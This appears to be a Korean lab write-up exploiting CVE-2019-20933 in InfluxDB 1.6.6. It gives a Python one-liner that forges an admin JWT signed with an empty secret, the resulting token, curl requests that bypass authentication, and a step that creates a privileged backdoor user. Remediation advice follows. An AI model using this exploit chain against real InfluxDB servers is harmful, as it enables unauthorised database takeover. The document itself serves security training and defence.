
CVE-2019-20933 InfluxDB 인증 우회를 위조된 JWT 토큰을 통해 보여주는 단계별 실습 보고서로, 익스플로잇, 사후 익스플로잇 및 대응 지침을 포함합니다.
환경에서 실행 중인 것으로 시작합니다. 실행 중인 모든 컨테이너를 나열합니다:
docker ps

피해자는 단일 포트 8086을 노출합니다.
현재 대상에 대한 자세한 정보는 없습니다. docker ps 출력에서 시스템은 포트 8086에서 외부로 주목할 만한 서비스 하나만 노출하며, 이는 컨테이너 내부의 서비스에 매핑됩니다. 이것이 분석할 기본 공격 표면입니다.
브라우저를 통해 즉시 접근하는 대신, Nmap을 사용하여 포트 8086에서 실행 중인 서비스를 확인하기 위해 핑거프린팅을 진행합니다:
nmap -sV -sC -p 8086 192.168.3.137

스캔 결과는 포트 8086이 InfluxDB OSS 1.6.6의 HTTP 서비스임을 보여줍니다. 이는 일반적인 웹 애플리케이션이 아닌 HTTP API를 통해 노출된 시계열 데이터베이스입니다.
InfluxDB는 Go로 작성된 오픈 소스 시계열 데이터베이스(TSDB)입니다. RDBMS(정밀 트랜잭션에 최적화)나 Elasticsearch(텍스트 검색에 최적화)와 달리 InfluxDB는 단일 목적, 즉 대량 쓰기 처리(높은 쓰기 처리량)와 시간 축을 따라 낮은 지연 시간으로 데이터를 쿼리하기 위해 만들어졌습니다.

서비스가 InfluxDB로 식별되었으므로, 다음 단계는 InfluxDB가 클라이언트와 통신하는 방식을 참조하는 것입니다. InfluxDB v1 HTTP API 문서에 따르면 포트 8086은 기본 HTTP API 포트입니다. 중요한 엔드포인트는 다음과 같습니다:
/ping: 서버의 작동 상태를 확인합니다./query: InfluxQL 쿼리를 보내 메타데이터 또는 데이터를 읽습니다./write: 시계열 데이터를 데이터베이스에 씁니다.⇒ 생각: Nmap이 서비스를 InfluxDB http admin 1.6.6으로 식별한 후, 표준 웹사이트처럼 테스트를 계속하지 않습니다. 웹 애플리케이션의 경우 일반적으로 경로, 로그인 양식 또는 디렉토리를 찾습니다. 그러나 InfluxDB의 경우 공격 표면은 HTTP API 내에 있습니다. 따라서 테스트 방향을 전환하여 API가 인증을 요구하는지 확인하기 위해 표준 InfluxDB API 엔드포인트를 테스트해야 합니다. 결과적으로 다음 테스트 방향은 브라우저를 통해 /에 접근하는 것이 아니라, InfluxDB의 API 엔드포인트에 직접 요청을 보내는 것입니다.
/ping 엔드포인트 확인포트 8086이 InfluxDB HTTP API로 식별된 후, 서비스가 작동 중인지 확인하기 위해 /ping 엔드포인트를 확인합니다:
curl -i <http://192.168.3.137:8086/ping>

응답 204 No Content는 InfluxDB가 정상적으로 작동 중임을 확인합니다. 헤더는 서비스 버전을 InfluxDB OSS 1.6.6으로 추가 확인합니다.
/query 엔드포인트에서 인증 확인curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES"

/query 엔드포인트는 인증 자격 증명 없이는 직접 쿼리를 허용하지 않습니다. 이는 InfluxDB에 인증이 활성화되어 시스템으로 전송되는 모든 익명 쿼리를 차단함을 확인합니다.
생각을 전환합니다: InfluxDB 버전 1.6.6에 인증 메커니즘을 우회할 수 있는 취약점이 있습니까?

공개 취약점 데이터베이스를 참조하면, 1.7.6 이전의 InfluxDB 버전은 CVE-2019-20933의 영향을 받습니다. 이는 빈 공유 시크릿을 가진 JWT 토큰 처리와 관련된 InfluxDB 인증 기능의 인증 우회 취약점입니다.
대상이 패치된 버전 1.7.6보다 낮은 InfluxDB 1.6.6을 실행 중이므로, 서비스는 영향을 받는 버전 범위에 속합니다.
다음과 같이 결론지을 수 있습니다:
| 서비스 | 버전 | 인증 | CVE 매핑 | 영향 | 상태 |
|---|---|---|---|---|---|
| InfluxDB OSS | 1.6.6 | 활성화됨 | CVE-2019-20933 | 인증 우회 | 취약한 버전 |
⇒ 생각: 처음에 /query 엔드포인트는 401 Unauthorized를 반환하여 인증 메커니즘이 활성화되어 있음을 나타냅니다. 그러나 인증이 활성화되어 있다고 해서 절대적인 보안을 의미하지는 않습니다. 버전이 1.6.6으로 식별되면 알려진 CVE와 연관 지어야 합니다. 결과는 이 버전이 CVE-2019-20933의 영향을 받는 범위에 속함을 나타내며, 이는 /query 엔드포인트를 보호하는 인증 메커니즘을 우회할 수 있음을 의미합니다. 이러한 식별 결과를 바탕으로 익스플로잇 단계는 적절한 JWT 토큰을 생성하여 인증을 우회하고 /query 엔드포인트에 대해 쿼리를 실행함으로써 CVE-2019-20933을 확인하는 데 초점을 맞출 것입니다.
CVE-2019-20933 취약점은 버전 1.7.6 이전의 InfluxDB의 services/httpd/handler.go 파일 내 authenticate 함수에서 발생합니다.
InfluxDB는 HTTP API 요청에 대해 **JSON Web Token (JWT)**을 사용한 인증을 지원합니다. 다음 헤더와 함께 요청을 수신하면:
Authorization: Bearer <token>
InfluxDB는 다음 단계를 수행합니다:
influxdb.conf 파일에서 shared-secret 구성 값을 읽어 토큰 서명 검증을 위한 비밀 키로 사용합니다.username 필드를 검색하여 쿼리를 실행하는 사용자를 결정합니다.영향을 받는 버전에서 JWT 인증이 활성화되었지만 shared-secret 매개변수가 구성되지 않은 경우, 비밀 값이 빈 문자열("")로 처리될 수 있습니다.
시스템은 JWT 서명을 검증하기 전에 비밀의 보안 강도를 적절히 검증하지 못합니다. 이로 인해 공격자는 사용자 정의 JWT를 구성하고 빈 비밀로 서명한 다음, username 클레임을 시스템의 유효한 계정(예: 실습실에 해당 계정이 있는 경우 admin)으로 설정할 수 있습니다.
이 토큰이 Authorization: Bearer <token> 헤더를 통해 제출되면 InfluxDB는 동일한 빈 비밀을 사용하여 서명을 검증합니다. 서명이 일치하고 사용자 이름이 존재하면 요청은 실제 사용자 비밀번호 없이 승인됩니다.
처리 흐름은 다음과 같이 요약할 수 있습니다:
논리 수준에서의 익스플로잇 흐름:
InfluxDB < 1.7.6
→ 인증 활성화됨
→ 빈 shared-secret
→ 공격자가 비밀 ""로 서명된 JWT 생성
→ Authorization: Bearer를 통해 토큰 전송
→ 서버가 토큰 수락
→ /query에 대한 쿼리 성공
CVE 메커니즘을 이해한 후에는 버전만으로 결론을 내리는 것을 피하기 위해 이를 대상과 연관 지을 필요가 있습니다.
현재 시점에서 CVE-2019-20933은 대상에 매우 적합한 후보로 식별됩니다. 그러나 실제 익스플로잇을 확인하려면 빈 shared secret으로 서명된 JWT를 생성하여 /query 엔드포인트로 전송해야 합니다.
서버가 이 토큰을 수락하고 쿼리 실행을 허용하면 그때서야 CVE가 성공적으로 익스플로잇되었다고 결론 내릴 수 있습니다.
위의 취약점 메커니즘 분석에서 익스플로잇 조건은 다음과 같습니다:
username을 가진 JWT를 생성합니다."")로 서명합니다.Authorization: Bearer <token> 헤더를 통해 /query 엔드포인트로 토큰을 전송합니다.JWT는 점으로 구분된 3개의 부분으로 구성됩니다: Header.Payload.Signature
Header
{"alg":"HS256","typ":"JWT"}
Payload
{"username":"admin","exp":2147483647}
username: 대상 계정. 이 실습에서 InfluxDB는 기본 admin 사용자를 생성합니다.exp: 토큰 만료 시간. 만료로 인한 거부를 피하기 위해 매우 먼 미래(2038년)로 설정됩니다.Signature
HMAC-SHA256(key = "", message = Base64URL(Header) + "." + Base64URL(Payload))
Kali에서 단일 명령으로 전체 JWT를 생성합니다:
python3 -c "
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"python3-c"
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"

다음 문자열을 얻습니다:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw
b64url(): Python 사전을 JSON 문자열로 변환하고 Base64URL 형식(JWT 표준에 따라 = 패딩 제거)으로 인코딩합니다.hmac.new(b'', ...): 빈 키(b'')로 HMAC-SHA256 알고리즘을 사용하여 메시지에 서명합니다. 이것이 익스플로잇 벡터입니다. 빈 키는 서버에 구성되지 않은 shared-secret과 일치합니다.Header.Payload.Signature 문자열입니다./query 엔드포인트로 토큰 전송토큰을 환경 변수에 저장한 다음 SHOW DATABASES 쿼리를 전송합니다:
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw"
curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES" \
-H "Authorization: Bearer $TOKEN"

결과 분석:
401 Unauthorized에서 200 OK로 전환됩니다.⇒ CVE-2019-20933이 대상에서 성공적으로 익스플로잇되었음을 확인했습니다. 빈 키로 서명된 자체 제작 JWT를 사용하여 인증 메커니즘을 완전히 우회하고 admin으로 쿼리 액세스 권한을 얻었습니다.
인증을 성공적으로 우회한 후, 시스템의 데이터베이스 내 민감한 데이터를 수집하기 위해 더 깊이 있는 포스트 익스플로잇을 진행합니다. SHOW DATABASES 결과에서 시스템에는 두 개의 데이터베이스가 있습니다: _internal(InfluxDB의 기본 내부 모니터링 데이터베이스)과 sample(운영 비즈니스 데이터베이스).
curl -s "http://192.168.3.137:8086/query?q=SHOW+USERS" \
-H "Authorization: Bearer $TOKEN"

시스템에는 단일 사용자만 존재합니다: 관리 권한이 있는 admin (admin: true). 이는 우리의 위조 JWT가 시스템의 유일한 관리 계정을 성공적으로 사칭했음을 확인합니다.
_internal 데이터베이스의 Measurement 목록 확인sample 데이터베이스에는 Measurement가 없습니다(비어 있음). 그러나 _internal 데이터베이스는 InfluxDB의 내부 모니터링 데이터베이스이며 항상 시스템 메트릭을 포함합니다:
curl -s "http://192.168.3.137:8086/query?db=_internal&q=SHOW+MEASUREMENTS" \
-H "Authorization: Bearer $TOKEN"

_internal 데이터베이스에는 12개의 내부 모니터링 Measurement가 포함되어 있습니다: cq, database, httpd, queryExecutor, runtime, shard, subscriber, tsm1_cache, tsm1_engine, tsm1_filestore, tsm1_wal, write. 이 테이블들은 InfluxDB 인스턴스의 상세한 운영 통계(HTTP 쿼리 로그, 데이터베이스 성능 메트릭, 스토리지 엔진 상태 포함)를 저장합니다.
우회된 admin 액세스가 읽기 전용 작업에 국한되지 않고 쓰기 및 관리 액세스도 부여함을 입증하기 위해, 전체 관리 권한을 가진 새 사용자 계정을 생성합니다:
curl -s -XPOST "http://192.168.3.137:8086/query?q=CREATE+USER+hacked+WITH+PASSWORD+'Dung'+WITH+ALL+PRIVILEGES" \
-H "Authorization: Bearer $TOKEN"

응답은 error 필드 없이 statement_id: 0을 반환하여 CREATE USER 명령이 성공적으로 실행되었음을 확인합니다. 이제 공격자는 위조 JWT 토큰 없이도 hacked / Dung 자격 증명을 사용하여 전체 관리자 액세스 권한으로 직접 로그인할 수 있습니다.
⇒ 이는 취약점 CVE-2019-20933이 데이터 노출을 허용할 뿐만 아니라 공격자가 InfluxDB 시스템에 대한 완전한 제어권(사용자 프로비저닝, 데이터베이스 삭제, 시스템 구성 수정 포함)을 장악할 수 있게 한다는 가장 강력한 증거입니다.
운영 체제 계층을 직접 대상으로 하는 원격 코드 실행(RCE) 취약점(실습 3에서와 같이)과 달리, CVE-2019-20933은 그 영향 범위를 데이터베이스 수준 관리로 제한합니다. 그러나 심각도는 다음과 같은 이유로 여전히 매우 높습니다:
hacked 사용자의 성공적인 생성으로 입증되었습니다.이 중요한 보안 취약점을 완전히 해결하려면 시스템 관리자가 다음 대책을 신속히 구현해야 합니다:
강력한 공유 시크릿 구성 적용 즉시 업그레이드가 불가능한 경우 influxdb.conf 구성 파일을 편집하여 [http] 섹션 아래에 길고 복잡하며 무작위한 공유 시크릿을 정의하십시오: 참고: 변경 사항을 적용하려면 구성을 편집한 후 InfluxDB 서비스를 다시 시작하십시오.
ini
[http]
enabled = true
auth-enabled = true
shared-secret = "CucKyManhVaNgauNhienKhongTheDoanDuoc12345!"
InfluxDB 인스턴스를 패치된 버전으로 업그레이드 InfluxDB를 버전 1.7.6 이상으로 즉시 업데이트하십시오. 개발자는 이 버전에서 인증 루틴을 수정하여 빈 안전하지 않은 공유 시크릿으로 서명된 JWT 토큰을 거부하도록 했습니다.
8086을 공용 인터넷에 노출하지 마십시오.| 단계 | 정상 처리 | CVE-2019-20933의 결함 |
|---|
| 1 | 클라이언트가 Authorization: Bearer <token> 전송 | 공격자가 JWT 자체 생성 |
| 2 | 서버가 구성에서 shared-secret 읽음 | shared-secret이 설정되지 않음 |
| 3 | 서버가 비밀을 사용하여 JWT 서명 검증 | 비밀이 빈 문자열 ""로 처리됨 |
| 4 | 토큰이 유효하면 클레임에서 username 추출 | 공격자가 사용자 존재 시 username=admin으로 설정 |
| 5 | 서버가 클레임 사용자에 기반하여 권한 부여 | 비밀번호 없이 요청이 수락됨 |
| 조건 | 대상 결과 | 평가 |
|---|
| 서비스가 InfluxDB임 | Nmap이 InfluxDB http admin 1.6.6 식별 | 충족 |
| 버전이 영향을 받는 범위에 속함 | 1.6.6 < 1.7.6 | 충족 |
| 인증 활성화됨 | /query가 401 Unauthorized 반환 | 충족 |
| 빈 공유 시크릿으로 서명된 JWT가 수락되는가? | 확인 필요 | 미확인 |
| JWT의 사용자 이름이 유효한가? | 확인 필요/실습실에서 가정 | 미확인 |
| 지표 | 등급 | 세부 사항 |
|---|
| CVSS 점수 | 9.8 (Critical) | 익스플로잇 용이성이 높아 매우 심각한 등급입니다. |
| 인증 필요 | 없음 | 유효한 자격 증명 없이 인증 장벽을 완전히 우회합니다. |
| 익스플로잇 복잡성 | 낮음 | 빈 비밀 키로 위조 JWT를 생성하여 HTTP 헤더를 통해 전송하기만 하면 됩니다. |
| 획득 권한 | InfluxDB 관리자 | 루트 관리 권한 하에 InfluxDB 데이터베이스에 대한 완전한 제어권을 얻습니다. |
| 데이터에 미치는 영향 | 높음 | 모든 민감한 메트릭이 노출되며, 데이터를 수정하거나 완전히 삭제할 수 있는 권한을 부여합니다. |